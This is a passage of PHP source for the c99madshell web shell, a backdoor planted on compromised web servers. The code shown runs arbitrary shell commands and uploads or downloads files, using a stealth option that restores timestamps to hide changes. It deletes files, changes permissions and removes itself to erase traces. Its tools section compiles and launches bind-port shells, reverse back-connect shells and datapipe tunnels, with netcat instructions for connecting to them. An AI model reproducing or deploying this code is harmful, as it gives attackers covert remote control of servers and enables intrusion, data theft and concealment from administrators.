displaysecinfo("Where is apache",myshellexec("whereis apache"));
displaysecinfo("Where is perl?",myshellexec("whereis perl"));
displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
}
if ($act == "mkfile")
{
if ($mkfile != $d)
{
if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$act = $dspact = "ls";}
}
if ($act == "fsbuff")
{
$arr_copy = $sess_data["copy"];
$arr_cut = $sess_data["cut"];
$arr = array_merge($arr_copy,$arr_cut);
if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
}
if ($act == "selfremove")
{
if (($submit == $rndcode) and ($submit != ""))
{
if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99madshell v.".$shver."!"; c99shexit(); }
else {echo "<center><b>Can\'t delete ".__FILE__."!</b></center>";}
}
else
{
if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
}
}
if ($act == "search")
{
echo "<b>Search in file-system:</b><br>";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit))
{
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array
(
"name"=>$search_name, "name_regexp"=>$search_name_regexp,
"text"=>$search_text, "text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v) {c99fsearch($v);}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "<b>No files found!</b>";}
else
{
$ls_arr = $found;
$disp_fullpath = TRUE;
$act = "ls";
}
}
echo "<form method=POST>
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
}
if ($act == "chmod")
{
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can\'t get current value.";}
else
{
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
else {$err = "Can\'t chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
}
}
}
if ($act == "upload")
{
$uploadmess = "";
$uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
if (!empty($submit))
{
global $HTTP_POST_FILES;
$uploadfile = $HTTP_POST_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"]))
{
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can\'t copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
}
elseif (!empty($uploadurl))
{
if (!empty($uploadfilename)) {$destin = $uploadfilename;}
else
{
$destin = explode("/",$destin);
$destin = $destin[count($destin)-1];
if (empty($destin))
{
$i = 0;
$b = "";
while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
}
if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
else
{
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can\'t download file!<br>";}
else
{
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
else
{
fwrite($fp,$content,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
}
}
}
}
}
if ($miniform)
{
echo "<b>".$uploadmess."</b>";
$act = "ls";
}
else
{
echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" method=POST><input type=\"hidden\" name=\"act\" value=\"upload\"><input type=\"hidden\" name=\"d\" value=\"".urlencode($d)."\">
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br> or<br>
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
File-name (auto-fill): <input name=uploadfilename size=25><br><br>
<input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br>
<input type=submit name=submit value=\"Upload\">
</form>";
}
}
if ($act == "delete")
{
$delerr = "";
foreach ($actbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Can\'t delete ".htmlspecialchars($v)."<br>";}
}
if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
$act = "ls";
}
if (!$usefsbuff)
{
if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
}
else
{
if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can\'t copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can\'t move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$act = "ls";
}
elseif ($actarcbuff)
{
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v)
{
$v = str_replace("\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v))
{
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = myshellexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Can\'t call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("
","
",$ret);
$ret = explode("
",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v)
{
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
$act = "ls";
}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can\'t copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Can\'t move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$act = "ls";
}
}
if ($act == "cmd")
{
if (trim($cmd) == "ps -aux") {$act = "processes";}
elseif (trim($cmd) == "tasklist") {$act = "processes";}
else
{
@chdir($chdir);
if (!empty($submit))
{
echo "<b>Result of execution this command</b>:<br>";
$olddir = realpath(".");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt)
{
$rows = count(explode("
",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
@chdir($olddir);
}
else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
}
if ($act == "ls")
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
else {}
}
if (count($list) == 0) {echo "<center><b>Can\'t open folder (".htmlspecialchars($d).")!</b></center>";}
else
{
//Building array
$objects = array();
$vd = "f"; //Viewing mode
if ($vd == "f")
{
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v)
{
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
elseif (is_dir($v))
{
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win)
{
//$ow = posix_getpwuid(fileowner($v));
//$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "<b>Name</b>";
$row[] = "<b>Size</b>";
$row[] = "<b>Modify</b>";
if (!$win)
{$row[] = "<b>Owner/Group</b>";}
$row[] = "<b>Perms</b>";
$row[] = "<b>Action</b>";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.sort.value=\'".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++)
{
if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.sort.value=\'".$i.$parsesort[1]."\';document.todo.submit();\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d")
{
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".")
{
$row[] = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode(realpath($d.$o))."\';document.todo.sort.value=\'".$sort."\';document.todo.submit();\">".$o."</a>";
$row[] = "LINK";
}
elseif ($o == "..")
{
$row[] = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode(realpath($d.$o))."\';document.todo.sort.value=\'".$sort."\';document.todo.submit();\">".$o."</a>";
$row[] = "LINK";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = " <a href=\"#\" onclick=\"document.todo.act.value=\'ls\';document.todo.d.value=\'".$uv."\';document.todo.sort.value=\'".$sort."\';document.todo.submit();\">[".$disppath."]</a>"; }
else
{
$type = "DIR";
$row[] = " <a href=\"#\" onclick=\"document.todo.act.value=\'ls\';document.todo.d.value=\'".$uv."\';document.todo.sort.value=\'".$sort."\';document.todo.submit();\">[".$disppath."]</a>";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = " <a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.d.value=\'".$ud."\';document.todo.f.value=\'".$uo."\';document.todo.submit();\">".$disppath."</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = " <a href=\"#\" onclick=\"document.todo.act.value=\'chmod\';document.todo.d.value=\'".$ud."\';document.todo.f.value=\'".$uo."\';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)){$row[] = "<a href=\"#\" onclick=\"document.todo.act.value=\'d\';document.todo.d.value=\'".$uv."\';document.todo.submit();\">I</a> ".$checkbox;}
else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".$uo."\';document.todo.ft.value=\'info\';document.todo.d.value=\'".$ud."\';document.todo.submit();\">I</a> <a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".$uo."\';document.todo.ft.value=\'edit\';document.todo.d.value=\'".$ud."\';document.todo.submit();\">E</a> <a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".$uo."\';document.todo.ft.value=\'download\';document.todo.d.value=\'".$ud."\';document.todo.submit();\">D</a> ".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
//Compiling table
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
foreach($table as $row)
{
echo "<tr>
";
foreach($row as $v) {echo "<td>".$v."</td>
";}
echo "</tr>
";
}
echo "</table><hr size=\"1\" noshade><p align=\"right\">
<script>
function ls_setcheckboxall(status)
{
var id = 0;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById(\'actbox\'+id).checked = status;
id++;
}
}
function ls_reverse_all()
{
var id = 0;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById(\'actbox\'+id).checked = !document.getElementById(\'actbox\'+id).checked;
id++;
}
}
</script>
<input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
{
echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
}
echo "<select name=act><option value=\"".$act."\">With selected:</option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
if ($usefsbuff)
{
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
}
echo "</select> <input type=submit value=\"Confirm\"></p>";
echo "</form>";
}
}
if ($act == "tools")
{
$bndportsrcs = array(
"c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
"c99sh_bindport.c"=>array("Using C","%path %port %pass")
);
$bcsrcs = array(
"c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
"c99sh_backconn.c"=>array("Using C","%path %host %port")
);
$dpsrcs = array(
"c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
"c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
);
if (!is_array($bind)) {$bind = array();}
if (!is_array($bc)) {$bc = array();}
if (!is_array($datapipe)) {$datapipe = array();}
if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
if (!empty($bindsubmit))
{
echo "<b>Result of binding port:</b><br>";
$v = $bndportsrcs[$bind["src"]];
if (empty($v)) {echo "Unknown file!<br>";}
elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
else
{
$w = explode(".",$bind["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can\'t write sources to \"".$srcpath."\"!<br>";}
elseif (!$data = c99getsource($bind["src"])) {echo "Can\'t download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%port",$bind["port"],$v[1]);
$v[1] = str_replace("%pass",$bind["pass"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
sleep(5);
$sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
if (!$sock) {echo "I can\'t connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"#\" onclick=\"document.todo.act.value=\'processes\';document.todo.grep.value=\'".basename($binpath)."\';document.todo.submit();\"><u>View binder\'s process</u></a></center>";}
}
echo "<br>";
}
}
if (!empty($bcsubmit))
{
echo "<b>Result of back connection:</b><br>";
$v = $bcsrcs[$bc["src"]];
if (empty($v)) {echo "Unknown file!<br>";}
else
{
$w = explode(".",$bc["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can\'t write sources to \"".$srcpath."\"!<br>";}
elseif (!$data = c99getsource($bc["src"])) {echo "Can\'t download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%host",$bc["host"],$v[1]);
$v[1] = str_replace("%port",$bc["port"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
}
}
}
if (!empty($dpsubmit))
{
echo "<b>Result of datapipe-running:</b><br>";
$v = $dpsrcs[$datapipe["src"]];
if (empty($v)) {echo "Unknown file!<br>";}
elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
else
{
$srcpath = $tmpdir.$datapipe["src"];
$w = explode(".",$datapipe["src"]);
$ext = $w[count($w)-1];
unset($w[count($w)-1]);
$srcpath = join(".",$w).".".rand(0,999).".".$ext;
$binpath = $tmpdir.join(".",$w).rand(0,999);
if ($ext == "pl") {$binpath = $srcpath;}
@unlink($srcpath);
$fp = fopen($srcpath,"ab+");
if (!$fp) {echo "Can\'t write sources to \"".$srcpath."\"!<br>";}
elseif (!$data = c99getsource($datapipe["src"])) {echo "Can\'t download sources!";}
else
{
fwrite($fp,$data,strlen($data));
fclose($fp);
if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
$v[1] = str_replace("%path",$binpath,$v[1]);
$v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
$v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
$v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
$v[1] = str_replace("//","/",$v[1]);
$retbind = myshellexec($v[1]." > /dev/null &");
sleep(5);
$sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
if (!$sock) {echo "I can\'t connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"#\" onclick=\"document.todo.act.value=\'processes\';document.todo.grep.value=\'".basename($binpath)."\';document.todo.submit();\"><u>View datapipe process</u></a></center>";}
}
echo "<br>";
}
}
?><b>Binding port:</b><br><form method="POST"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php
foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select> <input type=submit name=bindsubmit value="Bind"></form>
<b>Back connection:</b><br><form method="POST"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php
foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select> <input type=submit name=bcsubmit value="Connect"></form>
Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
